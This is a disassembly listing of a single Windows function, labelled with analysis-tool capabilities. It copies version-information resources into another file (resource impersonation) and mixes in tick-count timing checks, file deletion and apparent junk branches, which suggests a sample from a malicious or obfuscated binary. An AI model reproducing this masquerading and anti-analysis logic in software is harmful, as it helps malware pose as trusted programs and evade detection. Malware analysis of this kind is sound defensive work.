Function at 0x423f3a
Capabilities:
Check for time delay via gettickcount
Delete file
Get file version info
Impersonate file version information

Disassembly:
push 0x8c0
mov eax, 0x43dd65
call fcn.0042b376
mov eax, dword [ebp + 8]
mov dword [ebp - 0x844], eax
xor ebx, ebx
push ebx
mov dword [ebp - 4], ebx
call fcn.0042a13f
pop ecx
mov dword [ebp - 0x874], ebx
call fcn.00428e21
cdq
push 0xa
pop ecx
idiv ecx
mov esi, edx
call fcn.00428e21
cdq
push 0xa
pop ecx
idiv ecx
cmp esi, edx
setl al
cmp al, bl
je 0x423fa7
movzx eax, al
mov dword [ebp - 0x83c], eax
fild dword [ebp - 0x83c]
call fcn.00439020
fstp dword [ebp - 0x83c]
fld dword [ebp - 0x83c]
jmp 0x423fba
fldz
call fcn.00438ef0
fstp dword [ebp - 0x83c]
fld dword [ebp - 0x83c]
call fcn.00439110
dec eax
jne 0x423fcc
call fcn.0041eb2a
call fcn.004017c3
mov dword [ebp - 0x870], ebx
call fcn.00428e21
cdq
push 0x14
pop ecx
idiv ecx
mov esi, edx
inc esi
call fcn.00428e21
cdq
idiv esi
cmp edx, esi
jg 0x423ff5
mov eax, esi
cdq
idiv esi
cmp edx, ebx
je 0x423ffa
call fcn.0041eb95
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x834], ebx
call esi
push ebx
mov edi, eax
call fcn.0042a13f
mov dword [ebp - 0x84c], edi
fild dword [ebp - 0x84c]
pop ecx
mov dword [ebp - 0x83c], eax
test edi, edi
jge 0x42402d
fadd qword [0x44a9c8]
call fcn.00438ef0
fild dword [ebp - 0x83c]
mov eax, dword [ebp - 0x83c]
test eax, eax
jge 0x424048
fadd qword [0x44a9c8]
fcompp
fnstsw ax
test ah, 5
jp 0x424058
push ebx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [ebp - 4], ebx
call esi
push ebx
mov esi, eax
call fcn.0042a13f
mov dword [ebp - 0x83c], esi
fild dword [ebp - 0x83c]
pop ecx
mov edi, eax
test esi, esi
jge 0x42407e
fadd qword [0x44a9c8]
call fcn.00438ef0
mov dword [ebp - 0x83c], edi
fild dword [ebp - 0x83c]
test edi, edi
jge 0x424099
fadd qword [0x44a9c8]
fcompp
fnstsw ax
test ah, 5
jp 0x4240b2
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor eax, eax
inc eax
jmp 0x4240b4
xor eax, eax
dec eax
jne 0x4240c1
call fcn.0041ec29
call fcn.0041ecb7
cmp dword [ebp + 0x28], 0x10
mov eax, dword [ebp + 0x14]
jae 0x4240cd
lea eax, [ebp + 0x14]
lea ecx, [ebp - 0x874]
push ecx
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [ebp - 0x83c], eax
call fcn.004094e1
test eax, eax
je 0x4240ee
call fcn.0041ecfe
cmp dword [ebp - 0x83c], ebx
je 0x424ce8
push dword [ebp - 0x83c]
call fcn.00427b8b
cmp dword [ebp + 0x28], 0x10
mov dword [ebp - 0x838], eax
mov eax, dword [ebp + 0x14]
pop ecx
jae 0x424118
lea eax, [ebp + 0x14]
push dword [ebp - 0x838]
push dword [ebp - 0x83c]
push ebx
push eax
call sub.VERSION.dll_GetFileVersionInfoA
push ebx
mov esi, eax
call fcn.0042a13f
pop ecx
cmp esi, ebx
je 0x424cc2
call fcn.0041e2de
test eax, eax
je 0x42414a
call fcn.0041ed84
lea eax, [ebp - 0x870]
push eax
lea eax, [ebp - 0x86c]
push eax
lea eax, [ebp - 0x868]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x840], esp
push 0x1a
push 0x44a3dc
call fcn.0040801d
lea ecx, [ebp - 0x8cc]
call fcn.0041e2a0
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.004276d4
cmp dword [eax + 0x18], 8
jb 0x424197
mov eax, dword [eax + 4]
jmp 0x42419a
add eax, 4
push eax
push dword [ebp - 0x838]
call sub.VERSION.dll_VerQueryValueW
push ebx
push 1
lea esi, [ebp - 0x868]
mov edi, eax
call fcn.0042525e
lea esi, [ebp - 0x8cc]
mov byte [ebp - 4], bl
call fcn.00417161
cmp edi, ebx
je 0x424cc2
xor eax, eax
push 0x7fe
mov word [ebp - 0x814], ax
lea eax, [ebp - 0x812]
push ebx
push eax
call fcn.00431170
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 0xc
call edi
mov esi, eax
push ebx
shr esi, 0x18
call fcn.0042a13f
imul eax, eax, 0x63
pop ecx
cmp esi, eax
jbe 0x42420b
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x86c]
movzx ecx, word [eax + 2]
movzx eax, word [eax]
push ecx
push eax
lea eax, [ebp - 0x868]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x840], esp
push 0x1e
push 0x44a3f8
call fcn.0040801d
lea ecx, [ebp - 0x8cc]
call fcn.0041e2a0
mov ecx, eax
mov byte [ebp - 4], 6
call fcn.0042750b
cmp dword [eax + 0x18], 8
jb 0x42425c
mov eax, dword [eax + 4]
jmp 0x42425f
add eax, 4
push eax
lea eax, [ebp - 0x814]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push ebx
push 1
lea esi, [ebp - 0x868]
call fcn.0042525e
lea esi, [ebp - 0x8cc]
mov byte [ebp - 4], bl
call fcn.00417161
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0x830]
call fcn.0042505d
push dword [ebp + 0xc]
mov eax, dword [ebp - 0x844]
mov byte [ebp - 4], 7
call fcn.004250eb
sub esp, 0x1c
add eax, 0x38
mov esi, esp
mov dword [ebp - 0x840], esp
push eax
call fcn.00425080
lea eax, [ebp - 0x868]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x834], esp
push 0xb
push 0x44a418
mov byte [ebp - 4], 8
call fcn.0040801d
lea ecx, [ebp - 0x8cc]
call fcn.0041e2a0
mov ecx, eax
mov byte [ebp - 4], 9
call fcn.00427435
mov byte [ebp - 4], 0xa
cmp dword [eax + 0x18], 8
jb 0x42430b
mov eax, dword [eax + 4]
jmp 0x42430e
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x834], esp
push eax
lea eax, [ebp - 0x830]
push eax
push ecx
call fcn.004259ea
add esp, 0xc
mov ecx, dword [ebp - 0x838]
mov byte [ebp - 4], 0xc
call fcn.00424cfd
push ebx
push 1
lea esi, [ebp - 0x868]
call fcn.0042525e
lea esi, [ebp - 0x8cc]
mov byte [ebp - 4], 7
call fcn.00417161
call edi
mov esi, eax
push ebx
shr esi, 0x18
call fcn.0042a13f
imul eax, eax, 0x63
pop ecx
cmp esi, eax
jbe 0x424377
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.0041ee12
lea eax, [ebp - 0x845]
mov byte [ebp - 0x845], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x424386
sub eax, edx
je 0x424396
call fcn.0041eeb2
push dword [ebp + 0xc]
mov eax, dword [ebp - 0x844]
call fcn.004250eb
sub esp, 0x1c
add eax, 0x54
mov esi, esp
mov dword [ebp - 0x840], esp
push eax
call fcn.00425080
lea eax, [ebp - 0x868]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x834], esp
push 0xf
push 0x44a424
mov byte [ebp - 4], 0xd
call fcn.0040801d
lea ecx, [ebp - 0x8cc]
call fcn.0041e2a0
mov ecx, eax
mov byte [ebp - 4], 0xe
call fcn.0042760a
mov byte [ebp - 4], 0xf
cmp dword [eax + 0x18], 8
jb 0x4243ff
mov eax, dword [eax + 4]
jmp 0x424402
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x834], esp
push eax
lea eax, [ebp - 0x830]
push eax
push ecx
call fcn.004259ea
add esp, 0xc
mov ecx, dword [ebp - 0x838]
mov byte [ebp - 4], 0x11
call fcn.00424cfd
push ebx
push 1
lea esi, [ebp - 0x868]
call fcn.0042525e
lea esi, [ebp - 0x8cc]
mov byte [ebp - 4], 7
call fcn.00417161
call fcn.0041e2de
test eax, eax
je 0x424458
call fcn.00409b8b
push dword [ebp + 0xc]
mov eax, dword [ebp - 0x844]
call fcn.004250eb
sub esp, 0x1c
add eax, 0xe0
mov esi, esp
mov dword [ebp - 0x840], esp
push eax
call fcn.00425080
lea eax, [ebp - 0x868]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x834], esp
push 0xb
push 0x44a434
mov byte [ebp - 4], 0x12
call fcn.0040801d
lea ecx, [ebp - 0x8cc]
call fcn.0041e2a0
mov ecx, eax
mov byte [ebp - 4], 0x13
call fcn.00427435
mov byte [ebp - 4], 0x14
cmp dword [eax + 0x18], 8
jb 0x4244c3
mov eax, dword [eax + 4]
jmp 0x4244c6
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x834], esp
push eax
lea eax, [ebp - 0x830]
push eax
push ecx
call fcn.004259ea
add esp, 0xc
mov ecx, dword [ebp - 0x838]
mov byte [ebp - 4], 0x16
call fcn.00424cfd
push ebx
push 1
lea esi, [ebp - 0x868]
call fcn.0042525e
lea esi, [ebp - 0x8cc]
call fcn.00417161
push ebx
call fcn.0042a13f
mov eax, dword [ebp - 0x844]
pop ecx
push dword [ebp + 0xc]
mov dword [ebp - 4], 7
call fcn.004250eb
sub esp, 0x1c
add eax, 0x70
mov esi, esp
mov dword [ebp - 0x840], esp
push eax
call fcn.00425080
lea eax, [ebp - 0x868]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x834], esp
push 0xc
push 0x44a440
mov byte [ebp - 4], 0x19
call fcn.0040801d
lea ecx, [ebp - 0x8cc]
call fcn.0041e2a0
mov ecx, eax
mov byte [ebp - 4], 0x1a
call fcn.0042760a
mov byte [ebp - 4], 0x1b
cmp dword [eax + 0x18], 8
jb 0x424581
mov eax, dword [eax + 4]
jmp 0x424584
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x834], esp
push eax
lea eax, [ebp - 0x830]
push eax
push ecx
call fcn.004259ea
add esp, 0xc
mov ecx, dword [ebp - 0x838]
mov byte [ebp - 4], 0x1d
call fcn.00424cfd
push ebx
push 1
lea esi, [ebp - 0x868]
call fcn.0042525e
lea esi, [ebp - 0x8cc]
call fcn.00417161
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec eax
dec eax
je 0x4245db
dec eax
dec eax
je 0x4245db
sub eax, 4
jne 0x4245e1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push dword [ebp + 0xc]
mov eax, dword [ebp - 0x844]
mov dword [ebp - 4], 7
call fcn.004250eb
sub esp, 0x1c
mov edi, 0x8c
add eax, edi
mov esi, esp
mov dword [ebp - 0x840], esp
push eax
call fcn.00425080
lea eax, [ebp - 0x868]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x834], esp
push 0xe
push 0x44a450
mov byte [ebp - 4], 0x20
call fcn.0040801d
lea ecx, [ebp - 0x8cc]
call fcn.0041e2a0
mov ecx, eax
mov byte [ebp - 4], 0x21
call fcn.0042760a
mov byte [ebp - 4], 0x22
cmp dword [eax + 0x18], 8
jb 0x424655
mov eax, dword [eax + 4]
jmp 0x424658
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x834], esp
push eax
lea eax, [ebp - 0x830]
push eax
push ecx
call fcn.004259ea
add esp, 0xc
mov ecx, dword [ebp - 0x838]
mov byte [ebp - 4], 0x24
call fcn.00424cfd
push ebx
push 1
lea esi, [ebp - 0x868]
call fcn.0042525e
lea esi, [ebp - 0x8cc]
mov byte [ebp - 4], 7
call fcn.00417161
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec eax
dec eax
je 0x4246b3
dec eax
dec eax
je 0x4246b3
sub eax, 4
jne 0x4246c4
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.0041efaa
call fcn.0041f04a
push dword [ebp + 0xc]
mov eax, dword [ebp - 0x844]
call fcn.004250eb
sub esp, 0x1c
add eax, edi
mov esi, esp
mov dword [ebp - 0x840], esp
push eax
call fcn.00425080
lea eax, [ebp - 0x868]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x834], esp
push 0xf
push 0x44a460
mov byte [ebp - 4], 0x25
call fcn.0040801d
lea ecx, [ebp - 0x8cc]
call fcn.0041e2a0
mov ecx, eax
mov byte [ebp - 4], 0x26
call fcn.0042750b
mov byte [ebp - 4], 0x27
cmp dword [eax + 0x18], 8
jb 0x42472c
mov eax, dword [eax + 4]
jmp 0x42472f
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x834], esp
push eax
lea eax, [ebp - 0x830]
push eax
push ecx
call fcn.004259ea
add esp, 0xc
mov ecx, dword [ebp - 0x838]
mov byte [ebp - 4], 0x29
call fcn.00424cfd
push ebx
push 1
lea esi, [ebp - 0x868]
call fcn.0042525e
lea esi, [ebp - 0x8cc]
mov byte [ebp - 4], 7
call fcn.00417161
push dword [ebp + 0xc]
mov eax, dword [ebp - 0x844]
call fcn.004250eb
sub esp, 0x1c
mov edi, 0xa8
add eax, edi
mov esi, esp
mov dword [ebp - 0x840], esp
push eax
call fcn.00425080
lea eax, [ebp - 0x868]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x834], esp
push 0x10
push str._b7__
mov byte [ebp - 4], 0x2a
call fcn.0040801d
lea ecx, [ebp - 0x8cc]
call fcn.0041e2a0
mov ecx, eax
mov byte [ebp - 4], 0x2b
call fcn.00427435
mov byte [ebp - 4], 0x2c
cmp dword [eax + 0x18], 8
jb 0x4247e4
mov eax, dword [eax + 4]
jmp 0x4247e7
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x834], esp
push eax
lea eax, [ebp - 0x830]
push eax
push ecx
call fcn.004259ea
add esp, 0xc
mov ecx, dword [ebp - 0x838]
mov byte [ebp - 4], 0x2e
call fcn.00424cfd
push ebx
push 1
lea esi, [ebp - 0x868]
call fcn.0042525e
lea esi, [ebp - 0x8cc]
mov byte [ebp - 4], 7
call fcn.00417161
call fcn.00428e21
cdq
push 0x14
pop ecx
idiv ecx
mov esi, edx
inc esi
call fcn.00428e21
cdq
idiv esi
cmp edx, esi
jg 0x424852
mov eax, esi
cdq
idiv esi
cmp edx, ebx
je 0x42485c
call fcn.0040175f
call fcn.0041f0a3
push dword [ebp + 0xc]
mov eax, dword [ebp - 0x844]
call fcn.004250eb
sub esp, 0x1c
add eax, edi
mov esi, esp
mov dword [ebp - 0x840], esp
push eax
call fcn.00425080
lea eax, [ebp - 0x868]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x834], esp
push 0xc
push 0x44a484
mov byte [ebp - 4], 0x2f
call fcn.0040801d
lea ecx, [ebp - 0x8cc]
call fcn.0041e2a0
mov ecx, eax
mov byte [ebp - 4], 0x30
call fcn.00427435
mov byte [ebp - 4], 0x31
cmp dword [eax + 0x18], 8
jb 0x4248c4
mov eax, dword [eax + 4]
jmp 0x4248c7
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x834], esp
push eax
lea eax, [ebp - 0x830]
push eax
push ecx
call fcn.004259ea
add esp, 0xc
mov ecx, dword [ebp - 0x838]
mov byte [ebp - 4], 0x33
call fcn.00424cfd
push ebx
push 1
lea esi, [ebp - 0x868]
call fcn.0042525e
lea esi, [ebp - 0x8cc]
mov byte [ebp - 4], 7
call fcn.00417161
call fcn.004094e1
test eax, eax
je 0x42491d
call fcn.0041f143
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push ebx
shr esi, 0x18
call fcn.0042a13f
imul eax, eax, 0x63
pop ecx
cmp esi, eax
jbe 0x424941
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
push dword [ebp + 0xc]
mov eax, dword [ebp - 0x844]
mov dword [ebp - 4], 7
call fcn.004250eb
sub esp, 0x1c
add eax, 0xc4
mov esi, esp
mov dword [ebp - 0x840], esp
push eax
call fcn.00425080
lea eax, [ebp - 0x868]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x834], esp
push 0xb
push 0x44a494
mov byte [ebp - 4], 0x36
call fcn.0040801d
lea ecx, [ebp - 0x8cc]
call fcn.0041e2a0
mov ecx, eax
mov byte [ebp - 4], 0x37
call fcn.004276d4
mov byte [ebp - 4], 0x38
cmp dword [eax + 0x18], 8
jb 0x4249b3
mov eax, dword [eax + 4]
jmp 0x4249b6
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x834], esp
push eax
lea eax, [ebp - 0x830]
push eax
push ecx
call fcn.004259ea
add esp, 0xc
mov ecx, dword [ebp - 0x838]
mov byte [ebp - 4], 0x3a
call fcn.00424cfd
push ebx
push 1
lea esi, [ebp - 0x868]
call fcn.0042525e
lea esi, [ebp - 0x8cc]
mov byte [ebp - 4], 7
call fcn.00417161
push dword [ebp + 0xc]
mov eax, dword [ebp - 0x844]
call fcn.004250eb
sub esp, 0x1c
mov edi, 0xe0
add eax, edi
mov esi, esp
mov dword [ebp - 0x840], esp
push eax
call fcn.00425080
lea eax, [ebp - 0x868]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x834], esp
push 0xe
push 0x44a4a0
mov byte [ebp - 4], 0x3b
call fcn.0040801d
lea ecx, [ebp - 0x8cc]
call fcn.0041e2a0
mov ecx, eax
mov byte [ebp - 4], 0x3c
call fcn.004277d0
mov byte [ebp - 4], 0x3d
cmp dword [eax + 0x18], 8
jb 0x424a6b
mov eax, dword [eax + 4]
jmp 0x424a6e
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x834], esp
push eax
lea eax, [ebp - 0x830]
push eax
push ecx
call fcn.004259ea
add esp, 0xc
mov ecx, dword [ebp - 0x838]
mov byte [ebp - 4], 0x3f
call fcn.00424cfd
push ebx
push 1
lea esi, [ebp - 0x868]
call fcn.0042525e
lea esi, [ebp - 0x8cc]
mov byte [ebp - 4], 7
call fcn.00417161
push dword [ebp + 0xc]
mov eax, dword [ebp - 0x844]
call fcn.004250eb
sub esp, 0x1c
add eax, edi
mov esi, esp
mov dword [ebp - 0x840], esp
push eax
call fcn.00425080
lea eax, [ebp - 0x868]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x834], esp
push 0xc
push 0x44a4b0
mov byte [ebp - 4], 0x40
call fcn.0040801d
lea ecx, [ebp - 0x8cc]
call fcn.0041e2a0
mov ecx, eax
mov byte [ebp - 4], 0x41
call fcn.0042750b
mov byte [ebp - 4], 0x42
cmp dword [eax + 0x18], 8
jb 0x424b1e
mov eax, dword [eax + 4]
jmp 0x424b21
add eax, 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x834], esp
push eax
lea eax, [ebp - 0x830]
push eax
push ecx
call fcn.004259ea
add esp, 0xc
mov ecx, dword [ebp - 0x838]
mov byte [ebp - 4], 0x44
call fcn.00424cfd
push ebx
push 1
lea esi, [ebp - 0x868]
call fcn.0042525e
lea esi, [ebp - 0x8cc]
mov byte [ebp - 4], 7
call fcn.00417161
lea eax, [ebp - 0x870]
push eax
lea eax, [ebp - 0x84c]
push eax
lea eax, [ebp - 0x868]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x840], esp
push 2
push 0x448254
call fcn.0040801d
lea ecx, [ebp - 0x8cc]
call fcn.0041e2a0
mov ecx, eax
mov byte [ebp - 4], 0x45
call fcn.0042760a
cmp dword [eax + 0x18], 8
jb 0x424bb6
mov eax, dword [eax + 4]
jmp 0x424bb9
add eax, 4
push eax
push dword [ebp - 0x838]
call sub.VERSION.dll_VerQueryValueW
push ebx
push 1
lea esi, [ebp - 0x868]
mov edi, eax
call fcn.0042525e
lea esi, [ebp - 0x8cc]
mov byte [ebp - 4], 7
call fcn.00417161
cmp edi, ebx
je 0x424c75
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp - 0x844]
push esi
mov eax, edi
call fcn.004250eb
mov eax, dword [eax + 0xfc]
mov ecx, dword [ebp - 0x84c]
mov dword [ecx + 8], eax
call fcn.00409532
dec eax
jne 0x424c1e
call fcn.0041f18c
call fcn.004017c3
push esi
mov eax, edi
call fcn.004250eb
mov eax, dword [eax + 0x100]
mov ecx, dword [ebp - 0x84c]
mov dword [ecx + 0xc], eax
call fcn.0041e2de
dec eax
jne 0x424c47
call fcn.0041f1fd
call fcn.0040c1a4
push esi
mov eax, edi
call fcn.004250eb
mov eax, dword [eax + 0xfc]
mov ecx, dword [ebp - 0x84c]
mov dword [ecx + 0x10], eax
push esi
mov eax, edi
call fcn.004250eb
mov eax, dword [eax + 0x100]
mov ecx, dword [ebp - 0x84c]
mov dword [ecx + 0x14], eax
cmp dword [ebp + 0x28], 0x10
mov eax, dword [ebp + 0x14]
jae 0x424c81
lea eax, [ebp + 0x14]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov edi, eax
cmp edi, ebx
jne 0x424c9f
push ebx
lea esi, [ebp - 0x830]
push 1
call fcn.0042525e
jmp 0x424cc8
push dword [ebp - 0x83c]
mov eax, dword [ebp - 0x86c]
push dword [ebp - 0x838]
movzx eax, word [eax]
push eax
push 1
push 0x10
push edi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
jmp 0x424c8f
mov edi, dword [ebp - 0x834]
cmp dword [ebp - 0x838], ebx
je 0x424cdc
push dword [ebp - 0x838]
call fcn.00428e04
pop ecx
cmp edi, ebx
je 0x424ce8
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
push ebx
push 1
lea ecx, [ebp + 0x10]
call fcn.0040329c
xor eax, eax
call fcn.0042b3f9
ret 0x24